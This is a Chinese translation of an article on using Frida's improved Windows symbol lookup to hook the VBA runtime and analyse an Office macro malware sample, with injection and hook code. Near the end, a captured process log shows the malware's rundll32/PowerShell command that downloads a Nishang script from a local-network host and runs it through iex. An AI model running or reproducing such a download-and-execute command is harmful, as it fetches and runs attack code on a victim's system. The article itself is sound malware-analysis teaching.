如何使用Frida对Windows平台的程序进行逆向分析

阅读量476225

|

发布时间 : 2020-06-18 15:30:59

x
译文声明

本文是翻译文章,文章原作者 DarunGrim,文章来源:darungrim.com

原文地址:https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html

译文仅供参考,具体内容表达以及含义原文为准。

 

Frida是目前比较流行的基于JavaScript的Hook框架。已经在移动安全的研究中得到了广泛的应用。最近我们发现,Frida或许可以在Windows平台上也大展身手。我们认为Frida是可以用于Windows平台的逆向工具之一,但是在我们测试过程中发现Frida不能进行符号查找,这也是之前Frida一直没有在Windows平台得以广泛使用的重要原因。于是我们对Frida进行了改进,现在Frida12.9.8已经具备了此功能。 我们非常感谢Ole André Vadla Ravnås所提供的帮助。

 

Frida12.9.8改进

总的来说,Frida使用deghelp.dll 提供的API在Windows平台中查找符号,但是它缺少了符号服务器的支持。于是我们增加了符号服务器支持,并改进了Windows中传递符号字符串的方法。在旧版本的Frida中,由于使用通配符模块查找符号的原因,查找每个符号都会花费一定的时间。而现在,您可以指定模块名称以加快符号查找的速度。

新的Frida将结合symsrv.dll和dbghelp.dll对包括Microsoft符号服务器在内的符号服务器提供支持。

这些是我们在Ole的帮助下所做的更改。
1. 添加load_symbols() 并改进DbgHelp后端
2. 将代理迁徙到Windows上的DbgHelp

 

案例研究:office宏代码分析

接下来我们将通过改进的Frida对一个Office Macro恶意软件进行逆向分析。

 

Injection and instrumentation

下图显示了Frida通常如何安装钩子并从安装的钩子中获取消息:

此过程中涉及frida,session,脚本对象,管理钩子安装。

其中hook的回调函数是用JavaScript编写的。

以下代码显示了一个示例,说明如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码,以使用process_id变量进行处理。

    def instrument(self, process_id):
        session = frida.attach(process_id)
        self.sessions.append(session)
        session.enable_child_gating()
        script = session.create_script(self.script_text)
        script.on('message', self.on_message)
        script.load()

 

符号查询:resolveName

Frida 的JavaScript API在文档中有很好的描述。

使用Frida进行hook的第一步是找到目标函数。

如果函数已导出,则只需使用导出的函数名称和DLL名称调用Module.findExportByName方法。

Module.findExportByName(dllName, name)

但是,如果该函数未导出并且仅记录在PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,您可以传递“ DLLName!FunctionName”符号,以便在调用指定特定功能时提高准确性,并在定位它们时获得更好的性能。

有时模块加载符号可能会很慢,因为它可能来自远程符号服务器。因此,您需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。

这是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存删除所有重复的记录。如果您要连接大量函数,则可以节省整个符号查找时间。
vbe.js

var loadedModules = {}
var resolvedAddresses = {}

function resolveName(dllName, name) {
  var moduleName = dllName.split('.')[0]
  var functionName = moduleName + "!" + name

  if (functionName in resolvedAddresses) {
    return resolvedAddresses[functionName]
  }

  log("resolveName " + functionName);
  log("Module.findExportByName " + dllName + " " + name);
  var addr = Module.findExportByName(dllName, name)

  if (!addr || addr.isNull()) {
    if (!(dllName in loadedModules)) {
      log(" DebugSymbol.loadModule " + dllName);

      try {
        DebugSymbol.load(dllName)
      } catch (err) {
        return 0;
      }

      log(" DebugSymbol.load finished");
      loadedModules[dllName] = 1
    }

    try {
      log(" DebugSymbol.getFunctionByName: " + functionName);
      addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
      log(" DebugSymbol.getFunctionByName: addr = " + addr);
    } catch (err) {
      log(" DebugSymbol.getFunctionByName: Exception")
    }
  }

  resolvedAddresses[functionName] = addr
  return addr
}

 

设置符号路径

在Windows环境下设置符号服务器的方法有很多,建议您从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。

以下将使用” c: symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。

setx _NT_SYMBOL_PATH SRV*c:symbols*https://msdl.microsoft.com/download/symbols

以下命令将使系统使用默认的符号存储目录。

setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols

 

运行恶意软件并观察其行为

我们使用以下示例测试Frida改进的符号查找功能。它具有一些混淆,可以使用Frida挂钩轻松分析。

我们在此处提供的代码可以从以下GitHub存储库中找到。
Frida.examples.vbe

因此,当您启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装钩子。安装钩子之后,您可以打开恶意文档以观察其行为。

> python inject.py -p 3064 vbe.js

resolveName vbe7!rtcShell
Module.findExportByName vbe7 rtcShell
Interceptor.attach: vbe7!rtcShell@0x652a2b76
resolveName vbe7!__vbaStrCat
Module.findExportByName vbe7 __vbaStrCat
 DebugSymbol.loadModule vbe7
 DebugSymbol.load finished
 DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
 DebugSymbol.getFunctionByName: addr = 0x651e53e6
Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
resolveName vbe7!__vbaStrComp
Module.findExportByName vbe7 __vbaStrComp
 DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
 DebugSymbol.getFunctionByName: addr = 0x651e56a2
Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
resolveName vbe7!rtcCreateObject
Module.findExportByName vbe7 rtcCreateObject
Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
resolveName vbe7!rtcCreateObject2
Module.findExportByName vbe7 rtcCreateObject2
Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
resolveName vbe7!CVbeProcs::CallMacro
Module.findExportByName vbe7 CVbeProcs::CallMacro
 DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
 DebugSymbol.getFunctionByName: addr = 0x6529019b
Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
resolveName oleaut32!DispCallFunc
Module.findExportByName oleaut32 DispCallFunc
Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.

 

监视office宏行为的hook方法

vbe.js有一些有趣的钩子来监视恶意Office文档的行为。

__vbaStrCat

vbe7.dll是Visual Basic运行时引擎的DLL。里面有很多有趣的功能。但是在这里,我们想观察字符串去混淆操作,vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。

.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8  proc near               ; CODE XREF: _lblEX_ConcatStr↑p

许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串连接动作,您可以观察最终的去混淆字符串的构造。

以下hook代码将为每个调用打印出连接的字符串。

vbe.js

function hookVBAStrCat(moduleName) {
  hookFunction(moduleName, "__vbaStrCat", {
    onEnter: function (args) {
      log("[+] __vbaStrCat")
      // log('[+] ' + name);
      // dumpBSTR(args[0]);
      // dumpBSTR(args[1]);
    },
    onLeave: function (retval) {
      dumpBSTR(retval);
    }
  })
}

这是一个示例输出,显示了最终的去混淆字符串。

这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。

rtcCreateObject2

恶意宏另一个常见恶意行为是创建对象以执行系统操作。执行此操作的函数是rtcCreateObject2。

.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
.text:653E6ECE                 public _rtcCreateObject2@8
.text:653E6ECE _rtcCreateObject2@8 proc near           ; DATA XREF: .text:off_651D379C↑o

在VB引擎中创建新对象时,将调用rtcCreateObject2函数。

以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。

vbe.js

function hookRtcCreateObject2(moduleName) {
  hookFunction(moduleName, "rtcCreateObject2", {
    onEnter: function (args) {
      log('[+] rtcCreateObject2');
      dumpAddress(args[0]);
      dumpBSTR(args[1]);
      log(ptr(args[2]).readUtf16String())
    },
    onLeave: function (retval) {
      dumpAddress(retval);
    }
  })
}

示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令。我们可以预期该脚本将运行外部恶意命令。

DispCallFunc

还有一个很有趣的API是DispCallFunc函数。此函数用于调用COM方法。通过监视此API,我们可以更好地了解恶意软件正在尝试做什么。

该函数的原型如下所示。

HRESULT DispCallFunc(
  void       *pvInstance,
  ULONG_PTR  oVft,
  CALLCONV   cc,
  VARTYPE    vtReturn,
  UINT       cActuals,
  VARTYPE    *prgvt,
  VARIANTARG **prgpvarg,
  VARIANT    *pvargResult
);

第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,您可以找到COM调用最终将调用的函数。

以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。

function hookDispCall(moduleName) {
  hookFunction(moduleName, "DispCallFunc", {
    onEnter: function (args) {
      log("[+] DispCallFunc")
      var pvInstance = args[0]
      var oVft = args[1]
      var instance = ptr(ptr(pvInstance).readULong());

      log(' instance:' + instance);
      log(' oVft:' + oVft);
      var vftbPtr = instance.add(oVft)
      log(' vftbPtr:' + vftbPtr);
      var functionAddress = ptr(ptr(vftbPtr).readULong())

      loadModuleForAddress(functionAddress)
      var functionName = DebugSymbol.fromAddress(functionAddress)

      if (functionName) {
        log(' functionName:' + functionName);
      }

      dumpAddress(functionAddress);

      var currentAddress = functionAddress
      for (var i = 0; i < 10; i++) {
        try {
          var instruction = Instruction.parse(currentAddress)
          log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
          currentAddress = instruction.next
        } catch (err) {
          break
        }
      }
    }
  })
}

下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。

此外,您可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll 以运行PowerShell。

⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\Windows\System32\rundll32.exe', argv=['C:\Windows\System32\rundll32.exe', 'C:\Users\tester\AppData\Local\Temp\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)

 

结论

Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具。虽然目前已经有WinDbg,OllyDbg和PyKD用于高级逆向工程。但是,对于真正快速和重复的分析工作,Frida绝对绰绰有余,并且Frida具有转储和分析程序行为的强大功能。有了Frida 12.9.8,现在我们有了更好的符号处理,这将提高整体可用性和生产率。

本文翻译自darungrim.com 原文链接。如若转载请注明出处。
分享到:微信
+15赞
收藏
jux1a
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66